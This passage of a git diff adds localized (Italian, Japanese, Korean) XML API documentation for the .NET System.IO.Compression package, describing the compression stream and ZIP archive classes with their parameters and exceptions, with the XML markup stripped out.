nuova istanza della classe usando il livello di compressione del flusso specificato. Facoltativamente mantiene aperto il flusso. + Flusso in cui scrivere i dati compressi. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + true per mantenere l'oggetto flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. + Flusso in cui vengono scritti i dati compressi e decompressi. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + + è null. + + non è un valore dell'enumerazione valido.-oppure- è e è false.-oppure- è e è false. + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. Facoltativamente mantiene aperto il flusso. + Flusso in cui vengono scritti i dati compressi e decompressi. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + + non è un valore di valido.-oppure- è e è false.-oppure- è e è false. + + + Ottiene un riferimento al flusso sottostante. + Oggetto flusso che rappresenta il flusso sottostante. + Il flusso sottostante è chiuso. + + + + + + Ottiene un valore che indica se il flusso supporta la lettura durante la decompressione di un file. + true se il valore di è Decompress, e il flusso sottostante non è chiuso e supporta la lettura; in caso contrario, false. + + + + + + Ottiene un valore che indica se il flusso supporta la ricerca. + false in tutti i casi. + + + Ottiene un valore che indica se il flusso supporta la scrittura. + true se il valore di è Compress e il flusso sottostante non è chiuso e supporta la scrittura; in caso contrario, false. + + + + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + L'implementazione corrente di questo metodo non presenta alcuna funzionalità. + Il flusso è chiuso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Legge un numero di byte decompressi nella matrice di byte specificata. + Numero di byte decompressi nella matrice di byte.Se è stata raggiunta la fine del flusso, viene restituito zero o il numero di byte letto. + Matrice usata per archiviare i byte decompressi. + Offset dei byte in in corrispondenza del quale cui verranno inseriti i byte letti. + Numero massimo di byte decompressi da leggere. + + è null. + Al momento della creazione dell'oggetto, il valore di era Compress.-oppure-Il flusso sottostante non supporta la lettura. + + o è minore di zero.-oppure-La lunghezza di meno il punto iniziale dell'indice è minore di . + Il formato dei dati non è valido. + Il flusso è chiuso. + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Posizione all'interno del flusso. + Uno dei valori di . + Questa proprietà non è supportata su questo flusso. + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Lunghezza del flusso. + Questa proprietà non è supportata su questo flusso. + + + Scrive i byte compressi nel flusso sottostante dalla matrice di byte specificata. + Buffer contenente i dati da comprimere. + Offset dei byte in da cui verranno letti i byte. + Numero massimo di byte da scrivere. + Non è possibile eseguire l'operazione di scrittura perché il flusso è chiuso. + + + Rappresenta un pacchetto di file compressi nel formato di archiviazione ZIP. + + + Inizializza una nuova istanza della classe dal flusso specificato. + Flusso che contiene l'archivio da leggere. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Inizializza una nuova istanza della classe dal flusso specificato e con la modalità specificata. + Flusso di input o output. + Uno dei valori di enumerazione che indica se l'archivio ZIP viene usato per leggere, creare o aggiornare le voci. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inizializza una nuova istanza della classe sulla base del flusso specificato per la modalità specificata e, facoltativamente, mantiene aperto il flusso. + Flusso di input o output. + Uno dei valori di enumerazione che indica se l'archivio ZIP viene usato per leggere, creare o aggiornare le voci. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inizializza una nuova istanza della classe sulla base del flusso specificato per la modalità specificata. Usa la codifica specificata per i nomi delle voci e, facoltativamente, mantiene aperto il flusso. + Flusso di input o output. + Uno dei valori di enumerazione che indica se l'archivio ZIP viene usato per leggere, creare o aggiornare le voci. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + La codifica da usate durante la lettura o la scrittura dei nomi delle voci in questo archivio.Specificare un valore per il parametro solo quando una codifica è obbligatoria per l'interoperabilità con gli strumenti e le librerie dell'archivio ZIP che non supportano la codifica UTF-8 per i nomi di voce. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Crea una voce vuota con il percorso e il nome della voce specificati nell'archivio ZIP. + Voce vuota nell'archivio ZIP. + Percorso, relativo alla radice dell'archivio, che specifica il nome della voce da creare. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Crea una voce vuota con il livello di compressione e il nome voce specificati nell'archivio ZIP. + Voce vuota nell'archivio ZIP. + Percorso, relativo alla radice dell'archivio, che specifica il nome della voce da creare. + Uno dei valori di enumerazione che indica se privilegiare la velocità o l'efficacia di compressione quando si crea la voce. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Rilascia le risorse usate dall'istanza corrente della classe . + + + Viene chiamato dai metodi e per rilasciare le risorse non gestite usate dall'istanza corrente della classe e, facoltativamente, completa la scrittura dell'archivio e rilascia le risorse gestite. + true per completare la scrittura dell'archivio e rilasciare le risorse gestite e non gestite; false per rilasciare solo le risorse non gestite. + + + Ottiene la raccolta di voci attualmente presenti nell'archivio ZIP. + La raccolta di voci attualmente presenti nell'archivio ZIP. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Recupera un wrapper per la voce specificata nell'archivio ZIP. + Wrapper per la voce specificata nell'archivio; null se la voce non esiste nell'archivio. + Percorso, relativo alla radice dell'archivio, che identifica la voce da recuperare. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Ottiene un valore che descrive il tipo di azione che l'archivio ZIP può eseguire sulle voci. + Uno dei valori di enumerazione che descrive il tipo di azione (leggere, creare o aggiornare) che l'archivio ZIP può eseguire sulle voci. + + + Rappresenta un file compresso in un archivio ZIP. + + + Ottiene l'archivio ZIP cui appartiene la voce. + Archivio ZIP cui appartiene la voce o null se la voce è stata eliminata. + + + Ottiene la dimensione compressa della voce nell'archivio ZIP. + La dimensione compressa della voce nell'archivio ZIP. + The value of the property is not available because the entry has been modified. + + + Elimina la voce dall'archivio ZIP. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Ottiene il percorso relativo della voce nell'archivio ZIP. + Percorso relativo della voce nell'archivio ZIP. + + + Ottiene o imposta l'ultima volta in cui la voce nell'archivio ZIP è stata modificata. + L'ultima volta in cui la voce nell'archivio ZIP è stata modificata. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Ottiene la dimensione non compressa della voce nell'archivio ZIP. + Dimensione non compressa della voce nell'archivio ZIP. + The value of the property is not available because the entry has been modified. + + + Ottiene il nome file della voce nell'archivio ZIP. + Nome file della voce nell'archivio ZIP. + + + Apre la voce dall'archivio ZIP. + Flusso che rappresenta il contenuto della voce. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Recupera il percorso relativo della voce nell'archivio ZIP. + Percorso relativo della voce, ovvero il valore archiviato nella proprietà . + + + Specifica i valori per l'interazione con le voci dell'archivio ZIP. + + + È consentita solo la creazione di nuove voci dell'archivio. + + + È consentita solo la lettura delle voci dell'archivio. + + + Sono consentite sia operazioni in lettura che in scrittura per le voci dell'archivio. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ja/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ja/System.IO.Compression.xml new file mode 100644 index 0000000..2626cda --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ja/System.IO.Compression.xml @@ -0,0 +1,446 @@ + + + + System.IO.Compression + + + + 圧縮操作で速度または圧縮サイズのどちらを重視するかどうかを示す値を指定します。 + + + 圧縮後のファイルは最適な圧縮ではなくても、圧縮操作はできるだけ迅速に完了する必要があります。 + + + ファイルに対して圧縮を行いません。 + + + 圧縮操作の操作が完了するまでに時間がかかりますが、圧縮操作は最適に圧縮する必要があります。 + + + 基になるストリームを圧縮するのか、または圧縮解除するのかを指定します。 + + + 基になるストリームを圧縮します。 + + + 基になるストリームを圧縮解除します。 + + + Deflate アルゴリズムを使用してストリームを圧縮および圧縮解除するためのメソッドとプロパティを提供します。 + + + 指定したストリームと圧縮レベルを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮するストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮レベルを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮するストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリーム オブジェクトを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮モードを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮または圧縮解除するストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + は null です。 + + が有効な 値ではありません。または が で、 が false です。または が で、 が false です。 + + + 指定したストリームと圧縮モードを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮または圧縮解除するストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + + が有効な 値ではありません。または が で、 が false です。または が で、 が false です。 + + + 基になるストリームへの参照を取得します。 + 基になるストリームを表すストリーム オブジェクト。 + 基になるストリームが閉じられました。 + + + ファイルの圧縮解除中にストリームが読み取りをサポートするかどうかを示す値を取得します。 + + 値が Decompress で、基になるストリームが開いており、読み取りをサポートしている場合は true。それ以外の場合は false。 + + + ストリームがシークをサポートしているかどうかを示す値を取得します。 + 常に false。 + + + ストリームが書き込みをサポートしているかどうかを示す値を取得します。 + + 値が Compress で、基になるストリームが書き込みをサポートし、閉じられていない場合は true。それ以外の場合は false。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在実装されているこのメソッドは、何の機能も提供しません。 + ストリームが閉じられました。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + 圧縮解除されたバイト数を、指定したバイト配列に読み取ります。 + バイト配列に読み取られたバイト数。 + 圧縮解除されたバイトを格納するための配列。 + 読み取られるバイトが配置される 内のバイト オフセット。 + 読み取られる、圧縮解除されたバイトの最大数。 + + は null です。 + オブジェクトが作成されたとき、 値が Compress でした。または 基になるストリームが読み取りをサポートしていません。 + + または が 0 未満です。または の長さからインデックスの開始点を引いた値が 未満です。 + データ形式が無効です。 + ストリームが閉じられました。 + + + この操作はサポートされていないため、常に をスローします。 + long 値。 + ストリーム内の位置。 + + 値の 1 つ。 + このストリームでは、このプロパティはサポートされていません。 + + + この操作はサポートされていないため、常に をスローします。 + ストリーム長。 + このストリームでは、このプロパティはサポートされていません。 + + + 圧縮されたバイトを、指定したバイト配列から基になるストリームに書き込みます。 + 圧縮するデータを格納しているバッファー。 + バイトの読み取り元となる 内のバイト オフセット。 + 書き込む最大バイト数。 + + + ストリームの圧縮および圧縮解除を実行するために使用するメソッドとプロパティを提供します。 + + + 指定したストリームと圧縮レベルを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮されたデータを書き込むストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮レベルを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮されたデータを書き込むストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリーム オブジェクトを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮モードを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮されたデータまたは圧縮解除されたデータが書き込まれるストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + は null です。 + + が有効な 列挙値ではありません。または が で、 が false です。または が で、 が false です。 + + + 指定したストリームと圧縮モードを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮されたデータまたは圧縮解除されたデータが書き込まれるストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + + が有効な 値ではありません。または が で、 が false です。または が で、 が false です。 + + + 基になるストリームへの参照を取得します。 + 基になるストリームを表すストリーム オブジェクト。 + 基になるストリームが閉じられました。 + + + + + + ファイルの圧縮解除中にストリームが読み取りをサポートするかどうかを示す値を取得します。 + + 値が Decompress, で、基になるストリームが読み取りをサポートし、閉じられていない場合は true。それ以外の場合は false。 + + + + + + ストリームがシークをサポートしているかどうかを示す値を取得します。 + 常に false。 + + + ストリームが書き込みをサポートしているかどうかを示す値を取得します。 + + 値が Compress で、基になるストリームが書き込みをサポートし、閉じられていない場合は true。それ以外の場合は false。 + + + + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在実装されているこのメソッドは、何の機能も提供しません。 + ストリームが閉じられました。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + 圧縮解除されたバイト数を、指定したバイト配列に読み取ります。 + 圧縮解除されバイト配列に読み取られたバイト数。既にストリームの末尾に到達している場合は、ゼロまたは読み取られたバイト数が返されます。 + 圧縮解除されたバイトを格納するために使用する配列。 + 読み取られるバイトが配置される 内のバイト オフセット。 + 読み取られる、圧縮解除されたバイトの最大数。 + + は null です。 + オブジェクトが作成されたとき、 値が Compress でした。または基になるストリームが読み取りをサポートしていません。 + + または が 0 未満です。または の長さからインデックスの開始点を引いた値が 未満です。 + データ形式が無効です。 + ストリームが閉じられました。 + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + ストリーム内の位置。 + + 値の 1 つ。 + このストリームでは、このプロパティはサポートされていません。 + + + このプロパティはサポートされていないため、常に をスローします。 + ストリーム長。 + このストリームでは、このプロパティはサポートされていません。 + + + 圧縮されたバイトを、指定したバイト配列から基になるストリームに書き込みます。 + 圧縮するデータを格納しているバッファー。 + バイトの読み取り元となる 内のバイト オフセット。 + 書き込む最大バイト数。 + ストリームが閉じているため、書き込み操作を実行できません。 + + + zip アーカイブ形式の圧縮ファイルのパッケージを表します。 + + + 指定したストリームからの クラスの新しいインスタンスを初期化します。 + 読み取るアーカイブを格納しているストリーム。 + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 指定したストリームと指定したモードから クラスの新しいインスタンスを初期化します。 + 入力ストリームまたは出力ストリーム。 + zip のアーカイブがエントリの読み込み、作成、または更新に使用されているかどうかを示す列挙値の 1 つ。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 指定されたモードの指定されたストリームで クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 入力ストリームまたは出力ストリーム。 + zip のアーカイブがエントリの読み込み、作成、または更新に使用されているかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 指定されたモードの指定されたストリームで クラスの新しいインスタンスを初期化し、エントリ名に指定されたエンコーディングを使用します。また、必要に応じて、ストリームを開いたままにします。 + 入力ストリームまたは出力ストリーム。 + zip のアーカイブがエントリの読み込み、作成、または更新に使用されているかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + このアーカイブのエントリ名の読み取りまたは書き込み時に使用するエンコード。エントリ名の UTF-8 エンコードをサポートしない zip アーカイブ ツールとライブラリとの相互運用性のためにエンコードが必要な場合にのみ、このパラメーターの値を指定してください。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 指定したパスとエントリ名を持つ空のエントリを zip アーカイブに作成します。 + zip アーカイブ内の空のエントリ。 + 作成されるエントリの名前を指定する、アーカイブのルートを基準とするパス。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 指定したエントリ名と圧縮レベルを持つ空のエントリを zip アーカイブに作成します。 + zip アーカイブ内の空のエントリ。 + 作成されるエントリの名前を指定する、アーカイブのルートを基準とするパス。 + エントリの作成時に速度または圧縮の有効性を強調するかどうかを示す列挙値の 1 つ。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + + クラスの現在のインスタンスによって使用されているリソースを解放します。 + + + + クラスの現在のインスタンスによって使用されるアンマネージ リソースを解放するために、 メソッドと メソッドによって呼び出されます。オプションで、アーカイブの書き込みを終了し、マネージ リソースを解放できます。 + アーカイブの書き込みを終了し、アンマネージ リソースとマネージ リソースを解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在 zip アーカイブ内にあるエントリのコレクションを取得します。 + 現在 zip アーカイブ内にあるエントリのコレクション。 + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + zip アーカイブ内の指定したエントリのラッパーを取得します。 + アーカイブ内の指定されたエントリのラッパー。エントリがアーカイブに存在しない場合は null。 + 取得するエントリを識別する、アーカイブのルートを基準とするパス。 + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + zip アーカイブがエントリで実行できる操作の種類を示す値を取得します。 + zip のアーカイブがエントリ上で実行できる操作の種類 (読み込み、作成、または更新) を示す列挙値の 1 つ。 + + + zip アーカイブ内の圧縮ファイルを表します。 + + + エントリが属する zip アーカイブを取得します。 + エントリが属している zip アーカイブ、または、エントリが削除されている場合は null。 + + + zip アーカイブ内のエントリの圧縮サイズを取得します。 + zip アーカイブ内のエントリの圧縮サイズ。 + The value of the property is not available because the entry has been modified. + + + zip アーカイブからエントリを削除します。 + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + zip アーカイブ内のエントリの相対パスを取得します。 + zip アーカイブ内のエントリの相対パス。 + + + zip アーカイブのエントリが最後に変更されたときを取得または設定します。 + zip アーカイブ内のエントリが最後に変更された時間。 + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + zip アーカイブ内のエントリの非圧縮サイズを取得します。 + zip アーカイブ内のエントリの非圧縮サイズ。 + The value of the property is not available because the entry has been modified. + + + zip アーカイブ内のエントリのファイル名を取得します。 + zip アーカイブ内のエントリのファイル名。 + + + zip のアーカイブからエントリを開きます。 + エントリの内容を表すストリーム。 + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + zip アーカイブ内のエントリの相対パスを取得します。 + エントリの相対パス。これは プロパティに格納されている値です。 + + + zip のアーカイブ エントリとの対話のための値を指定します。 + + + 新しいアーカイブ エントリの作成に限り許可されます。 + + + 新しいアーカイブ エントリの読み込みに限り許可されます。 + + + 読み取りと書き込みの両方の操作がアーカイブ エントリで許可されます。 + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ko/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ko/System.IO.Compression.xml new file mode 100644 index 0000000..ce2055d --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ko/System.IO.Compression.xml @@ -0,0 +1,446 @@ + + + + System.IO.Compression + + + + 압축 시 속도를 우선할지 압축 크기를 우선할지를 나타내는 값을 지정합니다. + + + 압축 작업은 결과 파일이 최적으로 압축되지 않더라도 가능한 신속하게 완료되어야 합니다. + + + 파일에 대해 압축을 수행할 수 없습니다. + + + 작업을 완료하는 데 시간이 더 걸리더라도 압축 작업은 최적으로 압축되어야 합니다. + + + 내부 스트림을 압축할지 또는 압축을 풀지 여부를 지정합니다. + + + 내부 스트림을 압축합니다. + + + 내부 스트림의 압축을 풉니다. + + + Deflate 알고리즘을 사용하여 스트림을 압축하고 압축을 풀기 위한 메서드와 속성을 제공합니다. + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축할 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축할 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림 개체를 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축하거나 압축을 풀 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + + 은(는) 올바른 값이 아닙니다.또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축하거나 압축을 풀 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + + 은(는) 올바른 값이 아닙니다.또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 내부 스트림에 대한 참조를 가져옵니다. + 내부 스트림을 나타내는 스트림 개체입니다. + 내부 스트림이 닫혀 있는 경우 + + + 파일의 압축을 푸는 동안 스트림을 읽을 수 있는지 여부를 나타내는 값을 가져옵니다. + + 값이 Decompress이고 내부 스트림이 열려 있으며 읽기를 지원하면 true이고, 이외의 경우는 false입니다. + + + 스트림이 검색을 지원하는지 여부를 나타내는 값을 가져옵니다. + 모든 경우에 false입니다. + + + 스트림이 쓰기를 지원하는지 여부를 나타내는 값을 가져옵니다. + + 값이 Compress이고 내부 스트림이 쓰기를 지원하며 닫혀 있지 않으면 true이고, 이외의 경우는 false입니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 이 메서드의 현재 클래스에는 기능이 없습니다. + 스트림이 닫혀 있는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 압축이 풀린 바이트 수를 지정된 바이트 배열로 읽어 들입니다. + 바이트 배열에 읽어 들인 바이트 수입니다. + 압축이 풀린 바이트를 저장할 배열입니다. + 읽은 바이트를 넣을 의 바이트 오프셋입니다. + 읽을 최대 압축 풀린 바이트 수입니다. + + 가 null인 경우 + 개체를 만들 때 값이 Compress였던 경우또는 내부 스트림이 읽기를 지원하지 않는 경우 + + 또는 가 0보다 작은 경우또는 길이에서 인덱스 시작 위치를 뺀 값이 보다 작은 경우 + 데이터의 형식이 잘못된 경우 + 스트림이 닫혀 있는 경우 + + + 이 작업은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 스트림 내의 위치입니다. + + 값 중 하나입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 이 작업은 지원되지 않으며 항상 을 throw합니다. + 스트림의 길이입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + 지정된 바이트 배열에서 압축된 바이트를 내부 스트림에 씁니다. + 압축할 데이터가 들어 있는 버퍼입니다. + 바이트를 읽어올 의 바이트 오프셋입니다. + 쓸 최대 바이트 수입니다. + + + 스트림을 압축하거나 압축을 푸는 데 사용되는 메서드 및 속성을 제공합니다. + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축된 데이터를 쓸 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축된 데이터를 쓸 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림 개체를 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축되거나 압축을 푼 데이터가를 쓸 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + + 가 유효한 열거형 값이 아닌 경우또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축되거나 압축을 푼 데이터가를 쓸 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + + 은(는) 올바른 값이 아닙니다.또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 내부 스트림에 대한 참조를 가져옵니다. + 내부 스트림을 나타내는 스트림 개체입니다. + 내부 스트림이 닫혀 있는 경우 + + + + + + 파일의 압축을 푸는 동안 스트림을 읽을 수 있는지 여부를 나타내는 값을 가져옵니다. + + 값이 Decompress,이고 내부 스트림이 읽기를 지원하며 닫혀 있지 않으면 true이고, 그렇지 않으면 false입니다. + + + + + + 스트림이 검색을 지원하는지 여부를 나타내는 값을 가져옵니다. + 모든 경우에 false입니다. + + + 스트림이 쓰기를 지원하는지 여부를 나타내는 값을 가져옵니다. + + 값이 Compress이고 내부 스트림이 쓰기를 지원하며 닫혀 있지 않으면 true이고, 이외의 경우는 false입니다. + + + + + + + 에서 사용하는 